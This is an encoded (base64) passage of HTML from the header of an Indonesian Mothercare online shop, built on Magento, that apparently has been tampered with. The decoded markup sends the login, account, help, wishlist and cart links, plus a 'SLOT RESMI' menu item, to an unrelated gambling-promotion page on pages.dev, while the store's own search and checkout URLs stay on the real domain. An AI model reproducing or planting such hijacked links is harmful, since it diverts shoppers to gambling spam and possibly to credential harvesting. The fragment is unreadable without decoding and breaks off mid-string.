OyI%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImhlYWRjb250ZW50Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHA%2BPGEgaHJlZj0iL3RveXMtYWN0aXZpdHkvdG95cy5odG1sIj5tYWluYW4gYW5hayBiYXlpPC9hPjwvcD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx1bCBjbGFzcz0idGVfYXoiIHN0eWxlPSJwYWRkaW5nOjA7Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGxpIGNsYXNzPSJrc19jb250ZW50Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHA%2BPGEgaHJlZj0iL3RveXMtYWN0aXZpdHkvdG95cy9tb3RoZXJjYXJlLXRveXMuaHRtbCI%2BbW90aGVyY2FyZSB0b3lzPC9hPjwvcD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHA%2BPGEgaHJlZj0iL3RveXMtYWN0aXZpdHkvdG95cy9lbGMtdG95cy5odG1sIj5lbGMgdG95czwvYT48L3A%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvbGk%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvdWw%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwhLS0gY29sdW1uIDMtLT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICA8L2xpPgogICAgICAgICAgICAgICAgICAgICAgICAgICA8bGkgaWQ9InZlc2l0ZW0tODg0NzMxNzQyMzA4MDYxMjA5NjEzMTE0NCIgY2xhc3M9IiBuYXYtaXRlbSBsZXZlbDAgc3VibWVudS1sZWZ0IHN1YmhvdmVyICBkcm9wZG93biBsZXZlbC10b3AgIj48YSBocmVmPSJodHRwczovL2t0bS1mc2FpbnN1bmNwLWdhY29yLnBhZ2VzLmRldi8iIHRhcmdldD0iX3NlbGYiIGRhdGEtaG92ZXItY29sb3I9IiNmZmYgIWltcG9ydGFudCIgZGF0YS1ob3Zlci1iZ2NvbG9yPSIjZmYwMDAwICFpbXBvcnRhbnQiIGRhdGEtY29sb3I9IiNmZmYgIWltcG9ydGFudCIgZGF0YS1iZ2NvbG9yPSIjZmYwMDAwICFpbXBvcnRhbnQiIHN0eWxlPSJjb2xvcjogI2ZmZiAhaW1wb3J0YW50O2JhY2tncm91bmQtY29sb3I6ICNmZjAwMDAgIWltcG9ydGFudDsiIGNsYXNzPSIgbmF2LWFuY2hvciI%2BPHNwYW4%2BU0xPVCBSRVNNSTwvc3Bhbj48L2E%2BPC9saT4KICAgICAgICAgICAgICAgICAgICAgICAgPC91bD4KICAgICAgICAgICAgICAgICAgICAgPC9uYXY%2BCiAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJrYW5tby1tZWdhbWVudS1oZWFkZXItbW9iaWxlIj4KICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iaGVhZGVyLW1lZ2FtZW51LW1vYmlsZSI%2BCiAgICAgICAgICAgICAgICAgICAgICAgIDxzcGFuIGNsYXNzPSJmYS11c2VyLWljb24tbWMiPjwvc3Bhbj4KICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iYWNjb3VudC1sYWJlbCI%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9Ii9jdXN0b21lci9hY2NvdW50IiBjbGFzcz0iYWNjb3VudC1saW5rIj5Ba3VuIFNheWE8L2E%2BCiAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uPjxhIGhyZWY9Imh0dHBzOi8va3RtLWZzYWluc3VuY3AtZ2Fjb3IucGFnZXMuZGV2LyI%2BTWFzdWs8L2E%2BPC9idXR0b24%2BCiAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgPC9kaXY%2BCiAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9Imthbm1vLWN1c3RvbS1zZWFyY2gtbWMiPgogICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJibG9jayBibG9jay1zZWFyY2giPgogICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJibG9jayBibG9jay10aXRsZSI%2BPHN0cm9uZz5DYXJpPC9zdHJvbmc%2BPC9kaXY%2BCiAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImJsb2NrIGJsb2NrLWNvbnRlbnQiPgogICAgICAgICAgICAgICAgICAgICAgICA8Zm9ybSBjbGFzcz0iZm9ybSBtaW5pc2VhcmNoIiBpZD0ic2VhcmNoX21pbmlfZm9ybSIgYWN0aW9uPSJodHRwczovL3d3dy5tb3RoZXJjYXJlLmNvLmlkL2NhdGFsb2dzZWFyY2gvcmVzdWx0LyIgbWV0aG9kPSJnZXQiPgogICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJmaWVsZCBzZWFyY2giPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8bGFiZWwgY2xhc3M9ImxhYmVsIiBmb3I9InNlYXJjaCIgZGF0YS1yb2xlPSJtaW5pc2VhcmNoLWxhYmVsIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGltZyBsb2FkaW5nPSJsYXp5IiB3aWR0aD0iMzAiIGhlaWdodD0iMzAiIHNyYz0iaHR0cHM6Ly93d3cubW90aGVyY2FyZS5jby5pZC9zdGF0aWMvdmVyc2lvbjE3NDE5NjMzNDUvZnJvbnRlbmQvQ29kaWxhci9tb3RoZXJjYXJlL2lkX0lEL2ltYWdlcy9Nb3RoZXJjYXJlX1NlYXJjaF9JY29uLnN2ZyIgYWx0PSJzZWFyY2ggaWNvbiI%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvbGFiZWw%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNvbnRyb2wiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgaWQ9InNlYXJjaCIgZGF0YS1tYWdlLWluaXQ9J3sKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInF1aWNrU2VhcmNoIjogewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiZm9ybVNlbGVjdG9yIjogIiNzZWFyY2hfbWluaV9mb3JtIiwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInVybCI6ICIiLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiZGVzdGluYXRpb25TZWxlY3RvciI6ICIjc2VhcmNoX2F1dG9jb21wbGV0ZSIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJtaW5TZWFyY2hMZW5ndGgiOiAiMyIKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9JyB0eXBlPSJ0ZXh0IiBuYW1lPSJxIiB2YWx1ZT0iIiBwbGFjZWhvbGRlcj0iS2F0YSBrdW5jaSwga29kZSBwcm9kdWsiIGNsYXNzPSJpbnB1dC10ZXh0IiBtYXhsZW5ndGg9IjEyOCIgcm9sZT0iY29tYm9ib3giIGFyaWEtaGFzcG9wdXA9ImZhbHNlIiBhcmlhLWF1dG9jb21wbGV0ZT0iYm90aCIgYXV0b2NvbXBsZXRlPSJvZmYiIGFyaWEtZXhwYW5kZWQ9ImZhbHNlIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBpZD0ic2VhcmNoX2F1dG9jb21wbGV0ZSIgY2xhc3M9InNlYXJjaC1hdXRvY29tcGxldGUiPjwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJuZXN0ZWQiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YSBjbGFzcz0iYWN0aW9uIGFkdmFuY2VkIiBocmVmPSJodHRwczovL3d3dy5tb3RoZXJjYXJlLmNvLmlkL2NhdGFsb2dzZWFyY2gvYWR2YW5jZWQvIiBkYXRhLWFjdGlvbj0iYWR2YW5jZWQtc2VhcmNoIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUGVuY2FyaWFuIExhbmp1dGFuICAgIDwvYT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gY2xhc3M9InNlYXJjaC1jYW5jZWwtbW9iIiBpZD0ic2VhcmNoLWNhbmNlbC1tb2IiPmNhbmNlbDwvYnV0dG9uPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImFjdGlvbnMiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIHR5cGU9InN1Ym1pdCIgdGl0bGU9IkNhcmkiIGNsYXNzPSJhY3Rpb24gc2VhcmNoIiBhcmlhLWxhYmVsPSJTZWFyY2giPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8c3Bhbj5DYXJpPC9zcGFuPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2J1dHRvbj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY%2BCiAgICAgICAgICAgICAgICAgICAgICAgIDwvZm9ybT4KICAgICAgICAgICAgICAgICAgICAgPC9kaXY%2BCiAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ia2FubW8tc2VhcmNoLWJ1dHRvbi1tYyI%2BCiAgICAgICAgICAgICAgICAgIDxidXR0b24gaWQ9Imthbm1vLW1jLXNlYXJjaC1idG4iPgogICAgICAgICAgICAgICAgICA8aW1nIGxvYWRpbmc9ImxhenkiIHdpZHRoPSIyNyIgaGVpZ2h0PSIyNSIgc3JjPSJodHRwczovL3d3dy5tb3RoZXJjYXJlLmNvLmlkL3N0YXRpYy92ZXJzaW9uMTc0MTk2MzM0NS9mcm9udGVuZC9Db2RpbGFyL21vdGhlcmNhcmUvaWRfSUQvaW1hZ2VzL01vdGhlcmNhcmVfU2VhcmNoX0ljb24uc3ZnIiBhbHQ9InNlYXJjaCBpY29uIj4KICAgICAgICAgICAgICAgICAgPC9idXR0b24%2BCiAgICAgICAgICAgICAgICAgIDxidXR0b24gaWQ9Imthbm1vLW1jLWNhbmNlbC1idG4iPmNhbmNlbDwvYnV0dG9uPgogICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgPHN0eWxlIHR5cGU9InRleHQvY3NzIj4KICAgICAgICAgICAgICAgICAgQG1lZGlhIG9ubHkgc2NyZWVuIGFuZCAobWF4LXdpZHRoOiA3NjhweCkgewogICAgICAgICAgICAgICAgICAua2xldnVXcmFwewogICAgICAgICAgICAgICAgICB0b3A6IDE2MnB4ICFpbXBvcnRhbnQ7CiAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICA8L3N0eWxlPgogICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgPGRpdiBpZD0iY3VzdG9tZXItbmFtZS1jb250YWluZXIiIGRhdGEtYmluZD0ic2NvcGU6ICdjdXN0b21lci1uYW1lJyI%2BCiAgICAgICAgICAgICAgIDxkaXYgaWQ9ImN1c3RvbWVyLW5hbWUiIGNsYXNzPSJjdXN0b21lci1uYW1lIiBkYXRhLWJpbmQ9InZpc2libGU6IGlzTG9nZ2VkSW4oKSwgdGV4dDogZ2V0Rmlyc3ROYW1lKCkiPjwvZGl2PgogICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgPHNjcmlwdCB0eXBlPSJ0ZXh0L3gtbWFnZW50by1pbml0Ij4KICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgIioiOiB7CiAgICAgICAgICAgICAgICAgICAgICAgIk1hZ2VudG9fVWkvanMvY29yZS9hcHAiOiB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICJjb21wb25lbnRzIjogewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgImN1c3RvbWVyLW5hbWUiOiB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgImNvbXBvbmVudCI6ICJLYW5tb19DdXN0b21lck5hbWUvanMvY3VzdG9tZXItbmFtZSIKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgfQogICAgICAgICAgICA8L3NjcmlwdD4KICAgICAgICAgICAgPHN0eWxlIHR5cGU9InRleHQvY3NzIj4KICAgICAgICAgICAgICAgI2N1c3RvbWVyLW5hbWUtY29udGFpbmVyIHsKICAgICAgICAgICAgICAgY29sb3I6ICM2QTZDNkM7CiAgICAgICAgICAgICAgIG9yZGVyOiAyOwogICAgICAgICAgICAgICBmb250LXNpemU6IDE0cHg7CiAgICAgICAgICAgICAgIGxpbmUtaGVpZ2h0OiAwcHg7CiAgICAgICAgICAgICAgIG1hcmdpbjogM3B4OwogICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICNjdXN0b21lci1uYW1lLWNvbnRhaW5lciAuY3VzdG9tZXItbmFtZSB7CiAgICAgICAgICAgICAgIHdvcmQtYnJlYWs6IGluaGVyaXQ7CiAgICAgICAgICAgICAgIG1heC13aWR0aDogMTAwcHg7CiAgICAgICAgICAgICAgIHBhZGRpbmc6IDA7CiAgICAgICAgICAgICAgIG92ZXJmbG93OiBoaWRkZW47CiAgICAgICAgICAgICAgIHBvc2l0aW9uOiByZWxhdGl2ZTsKICAgICAgICAgICAgICAgZGlzcGxheTogaW5saW5lLWJsb2NrOwogICAgICAgICAgICAgICB0ZXh0LWFsaWduOiBjZW50ZXI7CiAgICAgICAgICAgICAgIHRleHQtZGVjb3JhdGlvbjogbm9uZTsKICAgICAgICAgICAgICAgdGV4dC1vdmVyZmxvdzogZWxsaXBzaXM7CiAgICAgICAgICAgICAgIHdoaXRlLXNwYWNlOiBub3dyYXA7CiAgICAgICAgICAgICAgIGxpbmUtaGVpZ2h0OiAxLjM7CiAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgQG1lZGlhIHNjcmVlbiBhbmQgKG1heC13aWR0aDogNzY4cHgpIHsKICAgICAgICAgICAgICAgI2N1c3RvbWVyLW5hbWUtY29udGFpbmVyIHsKICAgICAgICAgICAgICAgZGlzcGxheTogbm9uZTsKICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICB9CiAgICAgICAgICAgIDwvc3R5bGU%2BCiAgICAgICAgICAgIDxzY3JpcHQgZGF0YS1icmVlemU%2BCiAgICAgICAgICAgICAgIHJlcXVpcmUoWydqcXVlcnknXSwgKCQpID0%2BIHsKICAgICAgICAgICAgICAgJChkb2N1bWVudCkucmVhZHkoZnVuY3Rpb24oKSB7CiAgICAgICAgICAgICAgIC8vIEluc2VydCB0aGUgZW50aXJlICNjdXN0b21lci1uYW1lLWNvbnRhaW5lciBlbGVtZW50IGJlZm9yZSB0aGUgdGFyZ2V0IGVsZW1lbnQKICAgICAgICAgICAgICAgJCgnLmFjY291bnQtZHJvcGRvd24gLmFjdGlvbi50b2dnbGUuc3dpdGNoZXItdHJpZ2dlciAuYWJzLXZpc3VhbGx5LWhpZGRlbicpLmJlZm9yZSgkKCcjY3VzdG9tZXItbmFtZS1jb250YWluZXInKSk7CiAgICAgICAgICAgICAgIH0pOwogICAgICAgICAgICAgICB9KTsKICAgICAgICAgICAgPC9zY3JpcHQ%2BCiAgICAgICAgICAgIDxkaXYgY2xhc3M9ImFjdGlvbnMgZHJvcGRvd24gb3B0aW9ucyBzd2l0Y2hlci1vcHRpb25zIG5vLWNoZXZyb24gYWNjb3VudC1kcm9wZG93biI%2BCiAgICAgICAgICAgICAgIDxhIGNsYXNzPSJhY3Rpb24gdG9nZ2xlIHN3aXRjaGVyLXRyaWdnZXIiIGhyZWY9Imh0dHBzOi8va3RtLWZzYWluc3VuY3AtZ2Fjb3IucGFnZXMuZGV2LyIgdGl0bGU9IkFrdW4gU2F5YSIgZGF0YS1tYWdlLWluaXQ9J3siZHJvcGRvd24iOnsiZGlhbG9nIjpudWxsfX0nIGRhdGEtdG9nZ2xlPSJkcm9wZG93biIgZGF0YS10cmlnZ2VyLWtleXByZXNzLWJ1dHRvbj0idHJ1ZSI%2BCiAgICAgICAgICAgICAgIDxzcGFuIGNsYXNzPSJhYnMtdmlzdWFsbHktaGlkZGVuIj5Ba3VuIFNheWE8L3NwYW4%2BCiAgICAgICAgICAgICAgIDwvYT4KICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iZHJvcGRvd24gc3dpdGNoZXItZHJvcGRvd24iIGRhdGEtdGFyZ2V0PSJkcm9wZG93biI%2BCiAgICAgICAgICAgICAgICAgIDx1bCBjbGFzcz0iaGVhZGVyIGxpbmtzIj4KICAgICAgICAgICAgICAgICAgICAgPGxpIGNsYXNzPSJsaW5rIGF1dGhvcml6YXRpb24tbGluayBsb2dpblJldmFtcCIgZGF0YS1sYWJlbD0iQXRhdSI%2BCiAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9Imh0dHBzOi8va3RtLWZzYWluc3VuY3AtZ2Fjb3IucGFnZXMuZGV2LyI%2BCiAgICAgICAgICAgICAgICAgICAgICAgIE1hc3VrIC8gYnVhdCBha3VuICAgICAgICAgICAgPC9hPgogICAgICAgICAgICAgICAgICAgICA8L2xpPgogICAgICAgICAgICAgICAgICAgICA8c2NyaXB0IGRhdGEtYnJlZXplPgogICAgICAgICAgICAgICAgICAgICAgICByZXF1aXJlKFsnanF1ZXJ5J10sIGZ1bmN0aW9uICgkKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICQoZG9jdW1lbnQpLnJlYWR5KGZ1bmN0aW9uICgpIHsKICAgICAgICAgICAgICAgICAgICAgICAgLy8gSGlkZSB0aGUgc2Vjb25kIGxpCiAgICAgICAgICAgICAgICAgICAgICAgICQoJy5oZWFkZXIubGlua3MgbGk6bnRoLW9mLXR5cGUoMiknKS5oaWRlKCk7CiAgICAgICAgICAgICAgICAgICAgICAgIH0pOwogICAgICAgICAgICAgICAgICAgICAgICB9KTsKICAgICAgICAgICAgICAgICAgICAgPC9zY3JpcHQ%2BCiAgICAgICAgICAgICAgICAgICAgIDxsaT4KICAgICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iaHR0cHM6Ly9rdG0tZnNhaW5zdW5jcC1nYWNvci5wYWdlcy5kZXYvIj4KICAgICAgICAgICAgICAgICAgICAgICAgYnVhdCBha3VuICAgICAgICA8L2E%2BCiAgICAgICAgICAgICAgICAgICAgIDwvbGk%2BCiAgICAgICAgICAgICAgICAgICAgIDxsaT4KICAgICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iaHR0cHM6Ly9rdG0tZnNhaW5zdW5jcC1nYWNvci5wYWdlcy5kZXYvIj4KICAgICAgICAgICAgICAgICAgICAgICAgPHNwYW4%2BQmFudHVhbjwvc3Bhbj4KICAgICAgICAgICAgICAgICAgICAgICAgPC9hPgogICAgICAgICAgICAgICAgICAgICA8L2xpPgogICAgICAgICAgICAgICAgICA8L3VsPgogICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgPC9kaXY%2BCiAgICAgICAgICAgIDxkaXYgY2xhc3M9ImFjdGlvbnMgZHJvcGRvd24gb3B0aW9ucyBzd2l0Y2hlci1vcHRpb25zIG5vLWNoZXZyb24gbm8tY2hldnJvbiB3aXNobGlzdC1kcm9wZG93biBkcm9wZG93bi1sZyI%2BCiAgICAgICAgICAgICAgIDxhIGNsYXNzPSJhY3Rpb24gdG9nZ2xlIHN3aXRjaGVyLXRyaWdnZXIiIGhyZWY9Imh0dHBzOi8va3RtLWZzYWluc3VuY3AtZ2Fjb3IucGFnZXMuZGV2LyIgdGl0bGU9IkRhZnRhciBLZWluZ2luYW4iPgogICAgICAgICAgICAgICA8c3BhbiBjbGFzcz0iYWJzLXZpc3VhbGx5LWhpZGRlbiI%2BRGFmdGFyIEtlaW5naW5hbjwvc3Bhbj4KICAgICAgICAgICAgICAgPC9hPgogICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgPGRpdiBkYXRhLWJsb2NrPSJtaW5pY2FydCIgY2xhc3M9Im1pbmljYXJ0LXdyYXBwZXIiPgogICAgICAgICAgICAgICA8YSBjbGFzcz0iYWN0aW9uIHNob3djYXJ0IiBocmVmPSJodHRwczovL2t0bS1mc2FpbnN1bmNwLWdhY29yLnBhZ2VzLmRldi8iIGRhdGEtYmluZD0ic2NvcGU6ICdtaW5pY2FydF9jb250ZW50JyI%2BCiAgICAgICAgICAgICAgICAgIDxzcGFuIGNsYXNzPSJ0ZXh0IGVtcHR5IiBkYXRhLWJpbmQ9IgogICAgICAgICAgICAgICAgICAgICBjc3M6IHsKICAgICAgICAgICAgICAgICAgICAgZW1wdHk6ICEhZ2V0Q2FydFBhcmFtKCdzdW1tYXJ5X2NvdW50JykgPT0gZmFsc2UKICAgICAgICAgICAgICAgICAgICAgfSI%2BS2VyYW5qYW5nIFNheWE8L3NwYW4%2BCiAgICAgICAgICAgICAgICAgIDxzcGFuIGNsYXNzPSJjb3VudGVyIHF0eSBlbXB0eSIgZGF0YS1iaW5kPSIKICAgICAgICAgICAgICAgICAgICAgY3NzOiB7CiAgICAgICAgICAgICAgICAgICAgIGVtcHR5OiAhIWdldENhcnRQYXJhbSgnc3VtbWFyeV9jb3VudCcpID09IGZhbHNlICZhbXA7JmFtcDsgIWlzTG9hZGluZygpCiAgICAgICAgICAgICAgICAgICAgIH0sCiAgICAgICAgICAgICAgICAgICAgIGJsb2NrTG9hZGVyOiBpc0xvYWRpbmcKICAgICAgICAgICAgICAgICAgICAgIj4KICAgICAgICAgICAgICAgICAgICAgPHNwYW4gY2xhc3M9ImNvdW50ZXItbnVtYmVyIj4KICAgICAgICAgICAgICAgICAgICAgICAgPCEtLSBrbyB0ZXh0OiBnZXRDYXJ0UGFyYW0oJ3N1bW1hcnlfY291bnQnKSAtLT48IS0tIC9rbyAtLT4KICAgICAgICAgICAgICAgICAgICAgPC9zcGFuPgogICAgICAgICAgICAgICAgICAgICA8c3BhbiBjbGFzcz0iY291bnRlci1sYWJlbCI%2BCiAgICAgICAgICAgICAgICAgICAgICAgIDwhLS0ga28gaWY6IGdldENhcnRQYXJhbSgnc3VtbWFyeV9jb3VudCcpIC0tPgogICAgICAgICAgICAgICAgICAgICAgICA8IS0tIGtvIHRleHQ6IGdldENhcnRQYXJhbSgnc3VtbWFyeV9jb3VudCcpIC0tPjwhLS0gL2tvIC0tPgogICAgICAgICAgICAgICAgICAgICAgICA8IS0tIGtvIGkxOG46IGdldENhcnRQYXJhbSgnc3VtbWFyeV9jb3VudCcpID4gMSA%2FICdpdGVtcycgOiAnaXRlbScgLS0%2BPCEtLSAva28gLS0%2BCiAgICAgICAgICAgICAgICAgICAgICAgIDwhLS0gL2tvIC0tPgogICAgICAgICAgICAgICAgICAgICA8L3NwYW4%2BCiAgICAgICAgICAgICAgICAgIDwvc3Bhbj4KICAgICAgICAgICAgICAgPC9hPgogICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJibG9jayBibG9jay1taW5pY2FydCIgZGF0YS1yb2xlPSJkcm9wZG93bkRpYWxvZyIgZGF0YS1tYWdlLWluaXQ9J3siZHJvcGRvd25EaWFsb2ciOnsKICAgICAgICAgICAgICAgICAgImFwcGVuZFRvIjoiW2RhdGEtYmxvY2s9bWluaWNhcnRdIiwKICAgICAgICAgICAgICAgICAgInRyaWdnZXJUYXJnZXQiOiIuc2hvd2NhcnQiLAogICAgICAgICAgICAgICAgICAidGltZW91dCI6ICIyMDAwIiwKICAgICAgICAgICAgICAgICAgImNsb3NlT25Nb3VzZUxlYXZlIjogZmFsc2UsCiAgICAgICAgICAgICAgICAgICJjbG9zZU9uRXNjYXBlIjogdHJ1ZSwKICAgICAgICAgICAgICAgICAgInRyaWdnZXJDbGFzcyI6ImFjdGl2ZSIsCiAgICAgICAgICAgICAgICAgICJwYXJlbnRDbGFzcyI6ImFjdGl2ZSIsCiAgICAgICAgICAgICAgICAgICJidXR0b25zIjpbXX19Jz4KICAgICAgICAgICAgICAgICAgPGRpdiBpZD0ibWluaWNhcnQtY29udGVudC13cmFwcGVyIiBkYXRhLWJpbmQ9IgogICAgICAgICAgICAgICAgICAgICBzY29wZTogJ21pbmljYXJ0X2NvbnRlbnQnCiAgICAgICAgICAgICAgICAgICAgICI%2BCiAgICAgICAgICAgICAgICAgICAgIDwhLS0ga28gdGVtcGxhdGU6IHsgaWY6IHNob3VsZFJlbmRlciwgbmFtZTogZ2V0VGVtcGxhdGUoKSB9IC0tPjwhLS0gL2tvIC0tPgogICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgPC9kaXY%2BCiAgICAgICAgICAgICAgIDxzY3JpcHQ%2Bd2luZG93LmNoZWNrb3V0ID0geyJzaG9wcGluZ0NhcnRVcmwiOiJodHRwczpcL1wvd3d3Lm1vdGhlcmNhcmUuY28uaWRcL2NoZWNrb3V0XC9jYXJ0XC8iLCJjaGVja291dFVybCI6Imh0dHBzOlwvXC93d3cubW90aGVyY2FyZS5jby5pZFwvb25lc3RlcGNoZWNrb3V0XC8iLCJ1cGRhdGVJdGVtUXR5VXJsIjoiaHR0cHM6XC9cL3d3dy5tb3RoZXJjYXJlLmNvLmlkXC9jaGVja291dFwvc2lkZWJhclwvdXBkYXRlSXRlbVF0eVwvIiwicmVtb3ZlSXRlbVVybCI6Imh0dHBzOlwvXC93d3cubW90aGVyY2FyZS5jby5pZFwvY2hlY2tvdXRcL3NpZGViYXJcL3JlbW92ZUl0ZW1cLyIsImltYWdlVGVtcGxhdGUiOiJNYWdlbnRvX0NhdGFsb2dcL3Byb2R1Y3RcL2ltYWdlX3dpdGhfYm9yZGVycyIsImJhc2VVcmwiOiJodHRwczpcL1wvd3d3Lm1vdGhlcmNhcmUuY28uaWRcLyIsIm1pbmljYXJ0TWF4SXRlbXNWaXNpYmxlIjo1LCJ3ZWJzaXRlSWQiOiIzIiwibWF4SXRlbXNUb0Rpc3BsYXkiOjEwLCJzdG9yZUlkIjoiMTUiLCJzdG9yZUdyb3VwSWQiOiIxMSIsImFncmVlbWVudElkcyI6WyI5Il0sImN1c3RvbWVyTG9naW5VcmwiOiJodHRwczpcL1wvd3d3Lm1vdGhlcmNhcmUuY28uaWRcL2N1c3RvbWVyXC9hY2NvdW50XC9sb2dpblwvcmVmZXJlclwvYUhSMGNITTZMeTkzZDNjdWJXOTBhR1Z5WTJGeVpTNWpieTVwWkM5dWIzSmthV010Ym1GMGRYSmhiSE10WW1GaWVTMXpMV1JvWVMwMU1qRXpNREV5TlMxamJtOHdNUzVvZEcxc1wvIiwiaXNSZWRpcmVjdFJlcXVpcmVkIjpmYWxzZSwiYXV0b2NvbXBsZXRlIjoib2ZmIiwiY2FwdGNoYSI6eyJ1c2VyX2xvZ2luIjp7ImlzQ2FzZVNlbnNpdGl2ZSI6ZmFsc2UsImltYWdlSGVpZ2h0Ijo1MCwiaW1hZ2VTcmMiOiIiLCJyZWZyZXNoVXJsIjoiaHR0cHM6XC9cL3d3dy5tb3RoZXJjYXJlLmNvLmlkXC9jYXB0Y2hhXC9yZWZyZXNoXC8iLCJpc1JlcXVpcmVkIjpmYWxzZSwidGltZXN0YW1wIjoxNzQyMzA4MDYxfX19PC9zY3JpcHQ%2BICAgIAogICAgICAgICAgICAgICA8c2NyaXB0IHR5cGU9InRleHQveC1tYWdlbnRvLWluaXQiPgogICAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgICAiW2RhdGEtYmxvY2s9J21pbmljYX